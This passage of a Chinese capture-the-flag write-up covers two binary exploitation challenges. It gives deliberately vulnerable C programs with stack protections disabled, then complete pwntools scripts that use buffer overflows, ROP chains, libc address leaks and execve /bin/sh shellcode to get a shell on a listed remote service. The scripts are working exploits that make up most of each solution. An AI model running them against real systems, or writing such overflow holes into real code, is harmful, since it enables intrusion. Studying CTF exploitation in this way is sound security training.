84
85
86
#include<stdio.h>
#include<string.h>
#include<signal.h>

void handler(int signum){
puts("Timeout");
_exit(1);
}
void init(){
setvbuf(stdout,0,_IONBF,0);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
signal(SIGALRM,handler);
alarm(60);
}

void heiheihei(char *input) {
char buf[128];
unsigned int i = 0;
for (; i < strlen(input); i++) {
if (input[i] >= 'a'&&input[i] <= 'z') {
buf[i] = (input[i] - 'a' + 13) % 26 + 'a';
}
else if(input[i]>='A'&&input[i]<='Z')
{
buf[i] = (input[i] - 'A' + 13) % 26 + 'A';
}
else if (input[i] >= '0'&&input[i] <= '9') {
buf[i] = (input[i] - '0' + 5) % 10 + '0';
}else{
buf[i] = input[i];
}

}
buf[i] = '\0';
puts(buf);
}
void encrypt() {
char input[256] = { 0 ,};
puts("请输入要加密的明文:");
scanf_s("%s", input, 250);
puts("密文为:");
heiheihei(input);
}

void decrypt(){
char input[256] = { 0 , };
puts("请输入要解密的密文:");
scanf_s("%s", input, 250);
puts("明文为:");
heiheihei(input);
}
void banner();
int main() {
init();
puts("欢迎使用小君加解密机");
while (1) {
fflush(0);
int select = 0;
banner();
scanf("%d", &select);
switch (select)
{
case 1:
encrypt();
break;
case 2:
decrypt();
break;
case 3:
puts("撒有拉拉~~");
return 0;
default:
puts("输入有误!");
break;
}
}
return 0;
}
void banner() {
puts("###############################");
puts("1.加密");
puts("2.解密");
puts("3.退出程序");
puts("你知道要输入什么吧!");
}

编译方式

1
gcc -fno-stack-protector -z execstack -no-pie -m32 -o shellcode 3.c

题解

本意是最简单的栈溢出,怕直接抄课件上的代码就加了点干扰(rot18),然鹅编译器把俺写的return buf给pa掉了,另外需要注意下坏字符与i(注意【scanf的坏字符:\x09, \x0a, \x0b, \x0c, \x0d, \x20,没有’\x00’】):

i在buf的上面,需要精准覆盖,然后


被改成了:

提供的跳板不能用,就只好乖乖的看其他的跳板,emmmmm反正没人做,相信也没造成任何影响吧,这道题可以构造rop:

1
scanf + bssAddr + &"%250s" + bssAddr

然后在bss里面写入shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
# coding=utf-8

from pwn import *

debug = True
buflen = 128
offset = 0x8c+0x4

binary = 'shellcode'
ip,port = '121.42.189.18',7004

elf = ELF(binary)
bssAddr = elf.bss()
log.info('bss ====> %#x'%bssAddr)
scanfPlt = elf.plt['__isoc99_scanf']
log.info('scanf ====> %#x'%scanfPlt)
s = next(elf.search("%250s"))
log.info('%%250s ====> %#x'%s)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

def rot18(mesage):
tmpChar = ''
cipher = ""
for key in mesage:
if not key.isalpha():
cipher += key
continue
if key.islower():
tmpChar = (ord(key) - ord('a') + 13) % 26 + ord('a')
elif key.isupper():
tmpChar = (ord(key) - ord('A') + 13) % 26 + ord('A')
elif key.isdigit():
tmpChar = (ord(key) - ord('1') + 5) % 10 + ord('1')
cipher += chr(tmpChar)
return cipher

if debug:
p = process(binary)
else:
p = remote(ip,port)

print p.recvuntil('\xa7\xef\xbc\x81\n')
p.sendline('1')
print p.recvuntil('\x8e\xe6\x96\x87:\n')
payload = 'a'*buflen+p32(buflen)
payload += (offset - len(payload))*'a'
payload += flat(scanfPlt,bssAddr,s,bssAddr)

log.info('org =====> %s'%payload)
payload = rot18(payload)
log.info('new =====> %s'%payload)

gdb.attach(p)
raw_input('#')
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

#raw_input('#')
##哈哈哈哈哈,\0是坏字符,没想到怎么绕过去,,可能不需要绕而是换个方向吧,反正也没人做。。。GG

pwn-5

题目描述

这或许是主流的经典ROP题了

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<string.h>
void input(){
char l[100];
read(0,l,300);
}
int main(){
char *a = "就是一道pwn题,让你一眼能看出漏洞那种,本题提供 /bin/sh";
char buf[100];
write(1,a,strlen(a));
input();
return 0;
}

编译方式

1
gcc -fno-stack-protector -no-pie -o pwn5 5.c

题解

这道题本来很简单,然鹅64位biaji一下就把难度提上去了,这里提供了/bin/sh字符串,只需要找到system地址就好了,其实和第三次课讲的那段一样的,稍微改下代码就能用了:
这里用简单的方法,直接查libcdb的libc版本:

然后用下面代码咯:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf-8
#!/usr/bin/env python
from pwn import *

debug = False

binary = 'rop64'
ip,port = '121.42.189.18',5005
offset = 120

elf = ELF(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

writeGot = elf.got['write']
readGot = elf.got['read']
vulFuncAddr = elf.symbols['input']
bssAddr = elf.bss()

if debug:
p = process(binary)
else:
p = remote(ip,port)

print p.recvuntil('/bin/sh')

def genpayload(pointerToFunc,arg1=0,arg2=0,arg3=0): # arg1为32位
payload = 'a'*offset
payload += flat(0x000000000040063A,0,1,pointerToFunc,arg3,arg2,arg1,word_size=64)
payload += p64(0x0000000000400620)+'12345678'*7
payload += p64(vulFuncAddr)
return payload

def myexec(pointerToFunc,arg1=0,arg2=0,arg3=0):
p.sendline(genpayload(pointerToFunc,arg1,arg2,arg3))

## 泄露出write地址
myexec(writeGot,1,writeGot,8)
writeAddr = u64(p.recv(8))
log.info('writeAddr =====> %#x'%(writeAddr))
## 通过查数据库获取libc,否则使用泄露
raw_input('#')
libc = ELF('/root/libc6_2.23-0ubuntu9_amd64.so')
## 计算system和/bin/sh的地址
'''
execveAddr = writeAddr -(libc.symbols['write']-libc.symbols['execve'])
log.info('execveAddr =====> %#x'%(execveAddr))
shAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh'))) #这里的gadget不能用这个地址,可以用程序里面提供的那个
log.info('/bin/sh =====> %#x'%(shAddr))
## 讲system地址写入bss
gdb.attach(p)
myexec(readGot,0,bssAddr,8)
raw_input('#')
p.send(p64(execveAddr))

## system('/bin/sh')
myexec(bssAddr,shAddr)
p.interactive()
'''
popRdiRet = 0x0000000000400643
systemAddr = writeAddr -(libc.symbols['write']-libc.symbols['system'])
log.info('systemAddr =====> %#x'%(systemAddr))
shAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))
payload = 'a'*120+flat(popRdiRet,shAddr,systemAddr,word_size=64)
p.sendline(payload)
p.interactive()
CATALOG
  1. 1. Wordpress
    1. 1.1. 题目描述
    2. 1.2. 题解
  2. 2. 疑惑
    1. 2.1. 题目描述
    2. 2.2. 源码
    3. 2.3. 题解
  3. 3. AntiF5
    1. 3.1. 题目描述
    2. 3.2. 源码
    3. 3.3. 题解
  4. 4. AntiRe
    1. 4.1. 题目描述
    2. 4.2. 题目源码
    3. 4.3. 题解
  5. 5. pwn-1
    1. 5.1. 题目描述
    2. 5.2. 源代码
    3. 5.3. 编译方法
    4. 5.4. 题解
  6. 6. pwn-2
    1. 6.1. 题目描述
    2. 6.2. 源代码
    3. 6.3. 编译方法
    4. 6.4. 解题方法
  7. 7. pwn-3
    1. 7.1. 题目描述
    2. 7.2. 源代码
    3. 7.3. 编译方式
    4. 7.4. 题解
  8. 8. pwn-4
    1. 8.1. 题目描述
    2. 8.2. 源代码
    3. 8.3. 编译方式
    4. 8.4. 题解
  9. 9. pwn-5
    1. 9.1. 题目描述
    2. 9.2. 源代码
    3. 9.3. 编译方式
    4. 9.4. 题解